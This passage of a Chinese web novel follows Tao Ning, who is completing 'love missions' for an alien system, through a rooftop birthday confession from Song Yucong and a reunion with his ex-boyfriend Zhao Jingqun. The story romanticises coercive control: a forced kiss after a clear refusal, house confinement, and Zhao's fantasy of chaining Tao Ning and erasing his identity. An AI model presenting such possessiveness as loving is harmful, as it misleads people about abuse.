陶柠不知道他怎么想到这方面去了,自从上次在会所里的吻后,他与宋郁丛之间的关系似乎变得不一样了,但具体哪里不一样,他也不清楚,因为没有人明说过。 但现在宋郁丛把话挑明了,陶柠却不知道怎么接话。 那时候他觉得,无论是赵静群、徐隽还是宋郁丛,对他来说,都只是任务而已,得到他们的‘我爱你’就可以了。只是现在那么久过去了,他依旧会梦见赵静群,担心徐隽的伤势,如今也会主动亲吻宋郁丛。 他不知道该怎么办了。 而宋郁丛却以为他答应了,接下来的晚饭吃得肉眼可见地愉悦起来,本来惨白的脸带了几分血色,甚至还冷哼着,说了自己喜欢什么花,喜欢什么音乐,喜欢什么食物。 陶柠点了点头,却有些心不在焉,直至晚上的时候,他躺在床上,宋郁丛说什么都不肯他回房间,自己却睡到隔壁的小房间去了。 枕头、被子全是宋郁丛身上冷冽的味道,陶柠有些睡不着,睁着眼睛看天花板上模拟出来的星空,忽然问: 【系统,我攻略成功后他们三人会怎么样?】 系统没听明白他的意思:【呆瓜,什么会怎么样?】 【我会离开那他们会去哪里?】 【当然是继续生活啊!】 【噢】 也是,攻略完以后便只剩下分别了吧。 陶柠沉默片刻,不动神色问:【你说你来自宇宙高级文明,地球上那么多人,为什么会选中我?】 系统大喇喇说:【因为是设置好的】 滋啦滋啦,好似电流紊乱的声音在陶柠脑海中响起,系统后面的话好似被雪花模糊了一般,他根本无法听清,甚至太阳穴开始微微刺痛。 他想,也许这是不能问的问题。但系统说已经设置好的什么叫已经设置好的?他身上是有什么东西吸引这些所谓的高级文明吗?而且系统曾无意间提到过研究所 过了好一会儿,系统尖叫道:【呆瓜!你居然套我的话!】 【对不起。】 系统哼哼唧唧,片刻压低声音说:【呆瓜,有些事情你还是别问了。】 陶柠“嗯”了一声,想了想,换了一种问法:【那地球上还有和我一样的人吗?】 然而许久过去,都未曾得到系统的回复。 就在陶柠认为得不到答案,准备睡觉时,脑海中一道毫无感情的机械声响起,只是这一次,这道机械声有了几分意味深长的波动: 【有。】 浑身瞬间僵硬,陶柠闭上眼睛,没有回应了,而是压下心头的波涛骇浪,因为他忽然觉得,比起这个意料之外的回答,更令他感到震惊与不安的是:这个声音,他好像在哪里听到过。 不是在脑海里,而是切实地在生活中听到过。 第57章 第 57 章 陶柠BB 这两天白云鹤湖别墅很热闹, 陶柠出不了门,但会和每个进房间的人打招呼,他仔细听每个人的声音, 却没有与昨天晚上的机械音声色对上的。 那个“有”的答复好似一层阴影,陶柠感觉不安, 有和他一样的人?那会是什么一样?什么又叫设置好的? 这些问题与答案组成了解不开的谜团,陶柠没有办法, 只好按捺下思绪,继续做自己的攻略任务,但是宋郁丛似乎比较忙, 只有吃饭时会出现。 那时候他的脸色不太好看,坐在陶柠旁边,也不动刀叉, 也不说话, 就那么与陶柠大眼瞪小眼。 陶柠想了想, 凑过去给了他一个吻。 果不其然, 宋郁丛轻哼一声,眉梢上的得意与喜悦完全藏不住, 掩饰性的凶狠地插了一块西蓝花,“以为这样讨好我,我就会答应你?不可能。” 答应什么?陶柠有点迷茫, 但还是顺着他的话点了点头,宋郁丛又哼了一声,忽然恶狠狠地瞪着他:“是谁教你这些勾引人的把戏的?” “” 陶柠有些无可奈何,对于这些话依旧是左耳进右耳出了。 宋郁丛想再和陶柠说些话,但一个佣人进来,附耳说了几句, 宋郁丛脸色瞬间难看,他看着小口小口吃饭的陶柠,心头的暴虐平复稍微平复。“这些东西要全部吃掉,一点儿也不能剩,我会让人看着你这几天别墅内会来很多人,你不准出去。” 你也没让我出去过。 陶柠在心底反驳他,但还是点了点头。宋郁丛走前真的喊了两三个人围在他身边,那些佣人都眼巴巴看着他,他吃一口饭,佣人就会夸他: “陶公子又多吃了一口饭,真棒!” “您要多吃点身体才能更好,最好力壮如牛,这样就不会再生病了。” “陶公子您看这道海参青菜粥,这是二少爷拿了奇珍白玉参给营养师细火慢炖熬出来的,您快尝尝” 被人当成三四岁的小孩哄着吃饭,陶柠本来是不想吃了的,结果因为不好意思辜负他们,愣是把自己的肚皮吃圆润了。 佣人们松了口气,他们也算是能交差了。 陶柠吃多了就犯困,但他还不想睡觉,想等宋郁丛回来。阿云偶尔会来看他,见他正无聊地趴在窗户边上,一手翻书,另一只胳膊肘托着巴掌大的脸,那双清澈的棕色眼睛,时不时看一下窗户外面,旁边还放着吃了一半的药和温水。 而有两个佣人左右各守在他旁边。 阿云听见有佣人劝他: “陶公子,一口作气把剩下的药吃完就可以睡觉了” “对不起,我暂时不想睡觉,药我会吃掉的。”少年趴在窗户边,嘴上的态度很诚恳,却是没有动,属实是少年心性突如其来的叛逆与顽劣。 眼前的一幕,令阿云有些恍惚,记得两个月前他初见陶柠时。 那时的陶柠身形削瘦,身上穿着洗到发白的旧衣物,脚上的帆布鞋虽然很干净,但鞋跟后有一个很小的破洞,可见其家境的窘迫,再加上背着有他半个人那么高的行囊,左右手均提着包裹。 看上去很狼狈。 陶柠腼腆地微笑,羞涩而紧张,那双又大又闪的眼睛藏在沉闷的眼镜框后,整个人显得既呆又土,阿云听见四周若有若无的嘲笑,只是等他靠近后,才发现陶柠浑身散发着少年的朝气蓬勃,背脊挺拔笔直,濯濯如春月柳。 他说:“我叫陶柠。” 那时的陶柠有几分不自信和腼腆,可如今两个多月过去,陶柠身上的不自信已经不见了,剩下的,只有阿云倾慕的少年心气,更多的,是不敢亲近的‘娇贵’。 陶柠此时穿的衣物,是用江南最好的丝绸制造的,柔软细腻,重量极轻,夏天穿上不会有任何闷热,曾经有些干燥的卷发如今乌黑光滑,一看便知是人精细养出来的。 尤其是那张仿佛女娲精细雕琢的脸,比来时更美丽夺目,在自然光下,肌肤白皙清透,如珍珠般晶莹剔透,最后唇上一抹嫣红,能够轻而易举吸引所有人的视线。 阿云匆匆移开眼,入目的却是柔软的地毯,因为二少爷现在的房间里,铺满了鹅绒毯,厚实到即使摔了一跤,也不会磕破皮,房间里的温度永远适宜,而所有有棱角的家具,细数成千上百件,都用海绵垫裹住了棱角。 据说是二少爷觉得刺眼,所以才包起来了。但阿云自然不会信这个理由,他知道,是为了陶柠。 陶柠赤着脚,丝毫感觉不到冷,似乎也不怕冷。 但阿云知道,他是怕苦了,收敛所有不该有的心思,走过去说“我来吧。” 换做是以前,这些佣人根本不会理会他,但他们都是明眼人,看得出来二少爷非常在乎这位乡下来的客人,而专门照顾客人的佣人,却是他们之前看不起的阿云。只是今时不同往日,佣人的态度会随着主人家的态度改变,他们二话不说,就把这种“哄陶柠吃饭、吃药、睡觉”的事交给阿云了。 陶柠翻了一页书,看见阿云来了,轻快地跳下窗台,“阿云,你来了?” 阿云手里拿起他的药,“陶公子,再不喝药,水就该凉了。” “不是我不吃。”陶柠给自己找借口,“我就是要等水凉了才喝,有些药没有糖衣,混合热水喝下去很苦。”他小声和阿云诉说无奈,“我要去接冷水,他们不许,说怕我会肚子疼,可我哪儿有那么弱?” “我还说没关系,他们就说是宋郁丛的吩咐我真拿他没办法。” 到底是谁拿谁没办法? 阿云哭笑不得,他没有拆穿陶柠上次因为饭吃多了肚子疼的事情,而是也哄着他,“是是是,那等水再凉一点吧。”他看陶柠对外面的事情很感兴趣,就说:“陶公子,要不您先把药吃了,我把外面发生的事情将给您听。” 陶柠来了兴趣,宋郁丛不许他出去,也不跟他说外面发生的事情,导致陶柠很无聊,也没有电话联系到谁,只好把练习册反复刷了两三遍,顺便把宋郁丛房间里的游戏全部通关了。 可以说是独孤求败。 现在终于来了点新鲜事,陶柠成功被转移注意力,也拿水很热这样的借口搪塞了,分成三口喝下,然后眨巴着眼睛看向阿云。 阿云被他看得心软,先夸陶柠乖乖吃药很棒,而后悄声说:“前段时间宋老爷回来了,但心情似乎不好,发了好大一通脾气,还解雇了很多人,我不知道是什么事情,只知道这几天陆续有很多重要的客人来,大少爷和二少爷都去接待客人了所以二少爷可能是因为这件事,才没多少时间来陪您,但是我听佣人说二少爷没有在餐厅吃过饭,应该是特意留了肚子来和您吃饭的。” 陶柠愣了愣:“噢。” 阿云又带着私心说:“明天别墅内会举办一场晚宴,届时所有的佣人都会去布置场地,二少爷也会很忙,您可以偷偷溜出来我带您去后花园看新开的牡丹。”他希望陶柠能自由点、高兴点,而不是待在房间里做二少爷的金丝雀,即使这样偷跑出来玩一会儿毫无用处。 陶柠答应了,因为他也很想出去玩一会儿,他还没好好看过这栋庄园别墅呢,他一直对那个有天鹅的喷水池很感兴趣,据说别墅里还有白鹤,他也很感兴趣。 如果宋郁丛知道生气了陶柠想,那他就亲两下。 晚上的时候,宋郁丛没有回来跟他吃晚饭,陶柠吃完后,佣人送了一套礼服过来,一展开,竟然是一套纯白色的西装。 “陶公子,请您换上西装,二少爷吩咐我将您带去顶楼。” 陶柠想起这件事了,点了点头,去卧室把西装换上了,除了奥克森特定制的学院式西装校服,他还是第二次穿如此正式的衣服,他捏着衣袖出来,剪裁得体的白色西装,配上修长的四肢,衬得陶柠如高贵的小王子,佣人赞叹道:“您的美丽无与伦比。” 脸颊不禁发红,陶柠腼腆地笑了笑。 佣人做了一个请的姿势,陶柠跟着他离开了房间。去往顶楼的路上静谧无声,但陶柠细心地发现,沿路有鲜艳欲滴的玫瑰花,跟他上次去奥克森特的天台时一模一样。 他的心跳忽然变得有些快。 佣人带着他绕了几个弯,宋郁丛说的顶楼不是主别墅区的高楼,而是另一栋藏在花园后的白色别墅之上。他跟着佣人走上修建于别墅外的旋转楼梯,此时夜幕已经彻底降临,因为宋家的庄园别墅被青山绿水包围,因此一抬头,可以看见漫天银河。 今夜是圆月。 陶柠借着月光,踩着被玫瑰花瓣铺成的楼梯,登上了顶楼。就在他站在顶楼之外时,很轻的钢琴旋律忽然响起,柔美抒情的节奏令他仿佛置身于玫瑰花圃中央。 他也终于看清了顶楼之上的人,两米高的钢琴架前,宋郁丛身着黑色西装礼服,清透的月光洒下来,深邃的轮廓笼上了一层名为温柔的薄纱,蓝孔雀玉袖扣下,骨节分明的手落在钢琴键上,音节随他修长的手指涓涓流出,清脆的声响通白桦木落在陶柠心尖。 佣人轻声告诉他:“今天其实是二少爷的生日这首钢琴曲是肖邦第二钢琴协奏曲,英文名是《Piano Concerto No.2 in F minor,Op.2》是一首很特殊的曲子” 陶柠知道,宋家是不会为宋郁丛过生日的,也许发生那些痛苦的事情时,会不会正是他的生日?佣人继续说。 “二少爷弹奏钢琴非常厉害,曾经在京市会堂演出过,一票难求。” “我猜,这次二少爷想专门为您弹奏。” 随音律变得舒缓而轻快,不知不觉,顶楼上只剩下陶柠在看着宋郁丛,其实他没有多少音乐细胞,也听不懂这首钢琴曲背后的含义,但在这一刻,他似乎懂得了宋郁丛。 一曲终了。 宋郁丛落下最后一个音键,侧眸看向站在红色玫瑰花中央的陶柠,他站起身,双手抱臂,踏着月色走向他。 “哼乡巴佬,我弹得怎么样?” 他俊美到凌厉的眉眼间尽是得意,可那副表情在说,要是敢说错一个字,就要死定了。 “很好听。” 陶柠真心赞美,这时候,冷冽的气息已经不知不觉间将他包裹了,宋郁丛居高临下,却低下头颅,双手抱臂盯着他清澈的眼睛,闻言,耳尖变红,哼了一声:“那你说哪里好听了?说不出来,就不准走。” 陶柠愣住,他一抬头,不仅可以看见天上的圆月,还有宋郁丛含着笑意和缱绻的双眸。 他呆呆地说:“比月亮的声音更好听。” 看着眼前又呆又土偶尔还固执得要命的人,宋郁丛想,这人说的话更不如他的意,他好几次分明气得想把这人丢出去,但到了最后,还是走过房间的每一处,检查哪里是不是还有不安全的地方。 宋郁丛忍不住双手抱臂,勾唇说:“什么乱七八糟的评价”下一瞬,他被人轻轻抱住,清甜的柠檬香扰乱了他后续要说的话。 “宋郁丛,生日快乐,祝你健康,永远幸福。” 他听见拥住他的人软着嗓音说,宋郁丛愣住,他沉默半晌,忽然勾住陶柠的下巴,使他抬起头看向自己,那双珠宝似的瞳孔里,他竟然满脸通红了。 宋郁丛很生气,直接用嘴堵住这张总是说话让他心脏乱跳的红唇。冷冽的气味侵入唇舌,与清甜的柠檬香死死纠缠,仿佛融为一体,难舍难分。 直到快要喘不过气来,扣住他腰肢的手才稍微放开,随后陶柠听见宋郁丛眼神忽闪,罕见地有些结巴说:“陶柠BB,做我嘅人吧。” 用的是情难自抑于唇齿间反复斟酌的粤语。 过了许久,也没等到回应,宋郁丛终于敢看陶柠的眼睛,结果那双眼睛里满是困惑,一看就知道没有听懂,甚至还有让他再说一遍的期待。 宋郁丛:“” 旖旎的气氛瞬间消散,他气得不打一处来,他他好不容易开口说那么矫情的话,这乡巴佬竟然没听懂?! 气!死!他!了! 宋郁丛臭着脸就要往外走,陶柠小跑着跟上他。 “怎么了?” 刚才还好好的,怎么说走就走,发生什么事了吗? “不准说话,也不许跟过来!滚!” “噢可是,这里只有一条路。” “” 当天晚上,陶柠眼睁睁看宋郁丛发了好大一通脾气,还把他通关的游戏机全部摔了个稀巴烂,他觉得肉疼,因为他又要重来一遍,但也无可奈何,因为他都不知道宋郁丛为什么生气了。 甚至到了晚上,宋郁丛臭着脸把他赶出卧室,让他滚去睡沙发,陶柠没什么意见,因为他到哪儿睡都行,于是带着柔软的小棉被去睡了沙发,好在沙发很大很软,他睡得也很香。 结果第二天,陶柠是在宋郁丛床上醒来的。 宋郁丛已经换好了庄重的礼服,冷脸嘲讽:“乡巴佬,你真是恬不知耻,晚上又梦游梦到我床上来改天我就把你丢出去。” “噢。” “今天谁都不许把游戏机给他!” “晚上一起吃饭吗?” “” 没有回应,直到男人走到门口,才冷哼一说,骄矜道:“吃,你要是敢先动筷子,就死定了。” 陶柠弯着眼睛看他离开,把目光移向窗外,阿云说,今天有个很重要的宴席,宋郁丛估计会很累,那还是等他一起吃饭吧。 他也等着阿云等会带他去花园走走。 白云鹤湖庄园别墅热闹非凡,厨房正在忙碌地准备这场宴会,镌刻蔷薇花纹的铁门外,无数保镖和佣人簇拥,只等一辆接一辆轿车驶来,而站在他们最前方的,便是宋珩,他淡笑相迎。 每一位从豪车下来的人均会与他握手贺喜: “宋大少,哦不,现在应该叫宋检,恭喜恭喜,年少有为!” “是啊,这才不到三十岁,便是省检察长了,今天你可不能挡酒了,要喝个尽兴!” “宋检才华如日中天,未来必定鸿运当头。” “各位叔伯说笑了。”宋珩波澜不惊,温和道:“父亲已经设好了酒宴,只等各位叔伯入席,请——” 众人笑着跟随佣人进去,但车辆依旧络绎不绝,从正门至别墅进入的区域,车水马龙看不到尽头。 天气炎热,旁边的佣人看宋珩辛苦,便说:“大少,要不这些让我们来吧,好像名单上的人来齐了,也没有什么重要的人物值得您亲自相迎,您先进去,不然这日头,恐怕要中暑了。” 宋珩面不改色,额角也没有出汗,淡淡道:“还有一个人。” 佣人听得心惊胆战,他们反复对了数十遍名字,应该不会把名单上的人漏掉了,“这这个人是?” 宋珩眼底没有什么波动,直到一辆黑色齐柏林低调驶来,身后还跟着两辆宝马,他面无表情用湿毛巾擦拭手,抬眼道:“一个军火商。” 宝马里的人先下来,他们着装统一,白色手套拉开齐柏林的车门,只见一个身高超一米九的男人走出来,他黑发黑裤,西装裤勾勒出男人笔直修长的腿,但他没有穿皮鞋,而是一双球鞋,与西装裤显得格格不入,而搭配的白衬衫也松松垮垮塞入极为有力量感的腰线下。 更令人感到不协调的是,他右耳上有个玩具似的黄色柠檬耳钉。 男人桀骜不驯的脸上扯出一抹笑,也没伸手,只是道:“赵静群。” 宋珩将湿毛巾放到托盘上,接过男人身后的保镖递过来的邀请函,微笑道:“宋珩。” 第58章 第 58 章 锁入暗无天日的房间…… 因为阿云还没来, 陶柠觉得有些无聊,只好继续看书了,直到傍晚, 他持续不断不知不觉看了两个多小时的《行列式基础论述》。 还想再多看一会儿,但没翻几页书籍就被佣人收走了, 他抬头看过去,呆毛跟着竖了起来。 佣人抱歉说:“二少爷不让您看太久的书, 对眼睛不好。” 手揉了一下眼皮,皮肤有些泛红,但依旧看得很清楚, 陶柠说:“不会的,我眼睛很好。”他身体毛病很多,唯独眼睛一直都好好的, 既不近视也没疼过。 佣人一脸为难, 陶柠就没有说话了, 他只好继续看窗外的风景, 窗外有几棵柳树,他开始通过树的影子心算现在是什么时候了, 算完后便要赤着脚跑去挂钟那看自己算的对不对。 一般都是对的,陶柠这时候心情会好一点,算完是什么时候他便开始算这些树与树之间的距离, 这些在其他人眼里看起来很无聊的事情,陶柠却乐此不疲,“平均距离是六米” 直到肩膀被拍了一下,陶柠也没有寻常人被吓一跳的惊讶,而是眼神呆滞地转过头,阿云笑着看他, 压低声音说:“陶公子,现在别墅里忙起来了,我们可以出去玩一会儿。” “阿云,不用叫我陶公子的,叫我陶柠就好了。” 阿云怔了怔,随即小心问:“那在没人的时候,我可以叫您柠柠吗?” “嗯。” “柠柠……我带你出去玩会儿吧。” 陶柠点了点头,他没有穿自己的鞋,而是换上了拖鞋——海州很闷热潮湿,他入乡随俗,现在总是穿着拖鞋到处走,虽然走的距离仅限于宋郁丛的房间。 佣人看着阿云把陶柠带走,也没有阻止,似乎宋郁丛命令的不许陶柠出去这件事,本身并不存在。 就像爱丽丝梦游仙境那样,陶柠跟着阿云穿过走廊、欧式古神话画壁,出去后橘黄色的斜阳落在头顶,恰好被灌木挡住,阿云小心地给陶柠移开前方危险的树枝,走了数十步,豁然开朗。 三四米宽的喷泉映入眼帘,只是这座喷泉没有天鹅。 阿云说:“那座喷泉在主别墅前面,现在人太多了,我们要明天才能看。” 这个地方偏僻,人很少。陶柠点了点头,他在山里头时,陶圆不准他玩水,怕他着凉了。但哪儿有少年人不好水的?纤细的手碰了一下池子里的活水,冰凉的触感一下子就让贪凉的陶柠喜欢上了。 他出来穿的是短衣短袖,还穿了凉快的拖鞋,这副扮相太适合玩水了。陶柠把水泼了起来。 夕阳之下,手白脚白的少年人玩水玩得不亦乐乎,暖黄色的斜阳映在少年精致的侧脸颊上,微微带了些笑容,好似水上的精灵。阿云看他很少这样高兴过,不想扫了陶柠的兴致,也跟着加入。 两个年纪相仿的人开始互相泼水,但阿云只敢象征性地洒点水在陶柠身上,怕他着凉了。 玩到最后,陶柠基本上全身湿透了,卷发也被淋湿,呆毛这次服服帖帖的没有再竖起来,他把短裤提起来,嘴角勾勒出一个小狐狸似的笑容,还有一点小虎牙露出。 阿云第一次见陶柠那么高兴,心里也跟着高兴。直到陶柠打了个喷嚏,他急忙说:“柠柠,要不我们先回去吧?” 好不容易出来一趟,陶柠泼了下水:“我想再玩一会儿。” 阿云无可奈何:“那我去给您拿件衣服,您在这里千万不要动。” “嗯,谢谢阿云。” 阿云一走,陶柠胆子更大了,用脚尖试探性地在水池里碰了一下,感觉没有问题后,干脆两只脚都踩了进去。池子里喷洒出来的水落在身上,冰冰凉凉的,感觉很舒服。 他一边把池水踢到旁边的灌木丛里,一边去堵住喷出水流的地方,结果没有完全堵住,原本温和的水流变成了急促的水花,溅在了陶柠脸上。 还有一部分,溅在了黑色球鞋上。 有温热潮湿的风吹过,宋家的庄园别墅种满了红色玫瑰,嗅闻空气,会闻到玫瑰萎靡的味道。地上铺满了鹅卵石,无论什么材质的鞋子踩在上面,其实都不会发出什么声音。 所以来到这里的人静谧无声,直到干涸几近沙哑的嗓音轻声道: “陶柠。” 声音落地,周围的玫瑰随风摇曳,原本仿佛静止的时间也开始转动。水池中央的少年背脊瞬间僵硬,堵住出水管的手微微发抖是他幻听了吗?他缓缓回头,斜阳下,眸光流转的瞳孔映出到来的人。 男人一身笔挺的西装,即使西装革履,也能看出宽阔的肩膀线条流畅有力,如残忍的雄狼暂时被压制野性。 陶柠从未见过,因为在回忆里,他总是穿着宽松的T恤和裤子,后来因为给他家里干活,穿的衣物更是有什么穿什么,偶尔会光着膀子,有些发咸的汗珠故意蹭到陶柠脸上,烟草味混着雄性荷尔蒙的味道染了陶柠一身。 男人觉得那样还不够,更是非常霸道地把陶柠揽入怀抱。 陶柠柔软的脸贴着温热的胸膛,听男人的声音随胸腔震动: “宝宝,想一直抱着你。” “呆宝站远点,小心热油溅到你身上。” “今天晚上想听什么故事?” “呆宝,你人呢?”“乖,记得发消息。”“那是谁?同学吗?”“陶柠,我们私奔吧。”“要不要跟我走?” “呆宝。” ——“陶柠。” 赵静群动也不动盯着表情呆滞的少年,似野生动物的眼睛里尽是恶鬼般的贪婪与渴望,从头至尾一丝一毫的地方都没有放过,贪婪到眼睛都不肯眨一下,仿佛眼前在梦中出现过无数次的人随时会消失。 他终于找到这个小骗子了,不枉费他大海捞针似地找了两个多月,也不枉费他千里迢迢找过来。 真想现在就把这小骗子绑走,再用早就造好的金锁链捆起来,赵静群残忍地想。 他要把陶柠锁入暗无天日的房间,把他养到废掉,只能依赖、爱着他一个人,让他嘴里再也说不出骗人的话,只会可怜地喊自己老公。 赵静群盯着他,阴冷幽暗的眸光微闪,直到视线凝在少年湿透了的衣服上,他心脏瞬间一紧,刚才愤怒的、残忍的、痛苦的所有汹涌的爱意,此刻都化作了密密麻麻的心疼与不舍。 陶柠的身体有多差他知道,谁准他来玩水的? 他二话不说,昂贵的球鞋淌过池水,直接将少年打横抱起,放到干燥的地面。 赵静群冷着脸,这才发现陶柠全身上下几乎都湿透了,穿得甚至是一双拖鞋,圆润如玉的脚趾因为受冷,微微蜷缩。 赵静群压下火气,蹲下身脱掉自己的鞋子,强硬地箍住陶柠细瘦的脚踝,扯出随意塞进裤子里的白衬衫,用衬衫将陶柠湿透了的脚擦拭干净。 即使少年因为擦拭的动作感觉有些痒,想要动一下,却被滚烫如炽铁的手抓得更紧,一丝一毫都不许他动弹。 让陶柠穿上自己干燥的球鞋后,赵静群站起身,箍紧怀里人单薄的双肩,刚想冷脸训斥,可在看到少年通红的眼睛时,瞬间偃旗息鼓。 他把陶柠死死抱入怀中,西装已经褶皱,赵静群用衣服裹住陶柠,下巴很轻地抵在陶柠柔软的发旋上,喉结滚动,最终还是化作一声叹息: “呆宝不要哭。” 赵静群捂热陶柠的身体,又珍惜地捧起他的脸,粗糙的指腹抹去陶柠眼角的泪珠,急到声音发抖。 看见陶柠掉眼泪,赵静群的心脏难受到绞痛。 他扣紧陶柠的腰肢,苦涩到略微干裂的唇吻了吻陶柠湿润的眼睛,甚至伸出舌尖舔舐掉剩余的眼泪,赵静群痴迷地吻他的眼睛、脸颊、鼻尖,直至来到陶柠饱满红润的唇。 他想品尝这两瓣日思夜想的唇,像雄性野兽般标记领域,把陶柠从上至下沾满自己的气味。 但纤细的手捂住了唇,陶柠抽噎了一下,从充斥熟悉的烟草味的怀抱中离开,低着头不敢看眼前人的眼睛,“我们我们分手了,不能这样” 惊喜与酸涩过去后,陶柠只觉得有些担忧,他不知道赵静群为什么会在这里,直觉告诉他,最好不要让赵静群知道,自己还和宋郁丛与徐隽有牵扯。 宋郁丛就在离这里不远的地方,他很笨,控制不住情绪,更不能让他发现和知道自己与赵静群的关系也不对,谁都不能发现他的‘秘密’,否则的话头都要大了,本来同时攻略两个人他已经有些吃力了。 现在赵静群也来了,他虽然很高兴,但来的着实有些不是时候。 陶柠沉浸在担忧里,丝毫没有看见,他说完那些话后,赵静群方才还温柔的眼睛,霎时间乌云遍布,甚至泛着隐约的扭曲。 他扯出一抹看似平和的笑,粗糙的指腹摩挲掌心柔软的皮肉,声音几乎是从喉咙里挤出来的:“不能怎样?嗯?” 陶柠没有察觉到危险,依旧低着头小声说:“不能亲” 刚说几个字,下巴上的软肉便被掐住,炙热滚烫的舌尖侵入唇间,汹涌如骤雨。 唇齿被侵略者强硬地扫荡每一处,含住上下唇,让人脸红心跳的水声持续响起,侵略者甚至想探入他的喉咙,夺走他全部的呼吸,霸道强横。 陶柠的眼睛瞬间睁大,他受不了这样激烈的吻,挣扎着想要后退,攥紧他腰间的手却收得更紧,根本动弹不了。 “唔不唔” 男人的吻独裁专横,裹挟着几乎狂热的爱意与欲望,勒住他腰肢的力度大到好似要把他揉进骨子里,诉说这段时日的思念与爱欲。 水声持续了四五分钟,直到怀中的人要无法呼吸,赵静群才喘着粗气放开他,指腹抹掉陶柠嘴角晶莹黏腻的涎水,有些痞气地挑眉,嗓音低哑到恐怖:“还不能怎样啊?” 这一次,陶柠不敢说什么了。 他被亲怕了,而且他感觉到……眼前的人呼吸愈发急促,似乎自己再说错话,男人便要往死里亲他。 第59章 第 59 章 疯狂的想法 赵静群深吸一口气, 强行克制内心深处对陶柠隐秘可怖的占有欲,但他旺盛的保护欲作祟,担心陶柠着凉, 想抱着他回别墅区。 被陶柠轻声拒绝了:“我可以自己走的。” 阿云等会儿就要过来了,如果让阿云看到他和赵静群关系那么亲密, 不太好解释,最重要的是, 他怕会传到宋郁丛耳朵里。 深邃的眉眼间闪过戾气,这段时日总是与血腥打交道,还要压制住家族不服管的人, 因而赵静群浑身被浓郁的阴鸷笼罩,即使嘴角永远挂着不咸不淡的笑,却更显凉薄。 “呆宝再不进去会着凉。”赵静群语气尽量平和, 没有问陶柠为什么会在宋家, 因为在他收到那条关于‘白云鹤湖区’的短信时, 就已经把近来宋家与陶柠有关的事情查了个遍。 收到陶柠确切在宋家的消息后, 他连忙让机长临时改航线飞来海州,也因为如此, 生意上还欠了很多麻烦事情等他处理。不过这些跟见到陶柠比起来,不足一提。 宋家,曾经姓吴, 上百年的造船世家。赵静群知道,但因为家族业务不同,生意上打的交道不多,他一知半解。 只是让赵静群没想到的是,他的大宝贝竟然‘藏’在这里,正好宋家的大公子最近新官上任, 他借着这个由头,下私人飞机后,随意买了套西装,堂而皇之来宋家找他的宝贝了。 宴席上觥筹交错之间,赵静群不经意间问了别墅的佣人,打探到陶柠的消息后,便又找了借口甩掉想要过来攀关系的人,碰运气般独自来后花园找陶柠了。 也许冥冥之中自有缘分注定,赵静群站在喷水池后,垂在身侧的五指发抖,伫立许久也不敢喊水池中央少年的名字,唯恐是一场美梦。 他的呆宝更美丽、更引人注目了,背脊如此单薄,微微突起的蝴蝶骨正随着少年踢水的动作展翅高飞,比记忆里、照片中,抽条不少,似乎长高了一点儿,也瘦得更令赵静群心疼。 也更令赵静群深深地迷恋与痴迷这个满嘴谎言的小骗子,爱意悄然转化为恶劣的控制欲与占有欲,这次他会严丝合缝地监视陶柠的一切,用爱意编织一张裹满蜜糖的蛛网,将陶柠牢牢地困住。 陶柠别想再离开他。 但赵静群曾有过短暂的天真,赵家家规森严,他生理学的父母,古板严肃,本质上与守旧的陶圆一样,绝不允许他和一个男人在一起,那时候赵静群想,放弃一切带陶柠离开现在看来,赵静群阴冷地想,他必须要有足够的权势和钱财,吞掉赵家这座庞然大物,才能彻底断掉陶柠离开的路。 比如用些手段注销陶柠的身份信息,从此世界上查无此人让陶柠哪儿也去不了。 赵静群轻微叹息,收敛所有疯狂的想法,想要去牵陶柠的手带他离开,却被少年避开了。 “不能牵,我可以自己回去。” 虎口的烟疤作痛,赵静群脸上的笑意渐淡,刚想说些什么吓唬一下他的宝贝,好让他乖乖地跟自己走,身后便传来阿云着急的声音:“柠柠” 剩下的话戛然而止,阿云手里拿着衣服,看着少年垂着头站在一个陌生男人身旁,少年听见他的话后,瞬间抬头,表情似乎松了一口气,小跑着来到他身边,接过他手里的衣服,“阿云,谢谢你” 依旧是刚说几个字,便被身后的男人一拉,陶柠重新回到男人的怀抱里,赵静群先是拿走陶柠手上的衣服,披在他身上,随即以极具占有欲意味的姿势揽住陶柠,指腹摩挲他柔软的后脖颈,略微审视地盯着阿云,声音却很轻快:“呆宝,这是谁?” 陶柠被赵静群口无遮拦的称呼吓了一跳,他扯了扯男人的衣角,很小声说:“不能这么喊我。” 这也不能,那儿也不能,没想到他的呆宝失踪一段时间,倒是越来越在意这些事情了。赵静群眸色沉住气,他的确不能太着急了。 男人身上的西装虽然湿透了,也褶皱不堪,甚至没有穿鞋子,但阿云毕竟在宋家待了十多年,见识过不少好东西,认得他身上的衣物价格不菲,猜到他是今天宴席上的贵客,连忙低头回答:“客人,我是照顾陶公子的佣人。” 赵静群挑眉,摩挲手下的软肉,感受少年跟着微微颤抖的身体,他喜欢陶柠的一切欢愉与触动是他给予的,心情好了点,也漫不经心自我介绍起来:“哦这样么?我是陶柠的——” 他故意拖长了声音,想吓唬一下呆呆的宝贝,但他的宝贝脸色真的微微发白了,赵静群柔软的心脏好似被刺了一下。 终究是舍不得,他连简单的吓唬都舍不得。 赵静群轻叹:“好朋友。” 陶柠紧绷的身体稍微放松,但他不敢看身旁人的眼睛。阿云看见陶柠脚上的鞋子不属于他,而是他旁边自称是陶柠好朋友的男人,阿云不傻,能够感觉出他们之间不同寻常的氛围,便找了个借口离开了,只是临走前,习惯性叮嘱陶柠要早点回去,否则会感冒。 点了点头,等他走远后,陶柠忽然想起一件事:“赵赵静群,你怎么会在这里?” 赵静群如实说了这段时间是怎么找他的,最后抱住他,把头埋入陶柠的颈窝,因为身形高大,而陶柠只堪堪到他的胸膛处,从远处看,好似男人用身体把少年全部包裹住。 他说:“呆宝我很想你。” 很想很想,赵静群发疯一般的想,自从陶柠离开后,他从未有过一个完整的睡眠,总是被那座山下,那场延绵不绝的暴雨惊醒。 陶柠说分手,他的消失,成了赵静群挥之不去的梦魇。 他再也无法忍受失而复得的宝贝离开。 村里的书记是知道他的去处的,这世上也不会有费尽心思却无缘无故找不到一个人的情况,陶柠知道,可能是系统做的。 沉默了半晌,陶柠诚实道:“我也想你。” 话落,又一个激烈汹涌的吻落了下来,赵静群扣住他的腰,痴迷地吻咬他的唇,直至陶柠的双唇变得红肿,才放过他。 乖乖不动被亲完后,陶柠打了个喷嚏,赵静群脸色都变了,连忙勒紧了披在他身上的衣服,想把陶柠直接叼回温暖的窝里。 但依旧遭到了拒绝,见男人脸上的笑意没了,变得有些难看。陶柠跟他解释,告诉他自己和宋家合同上的事情,不能离开。 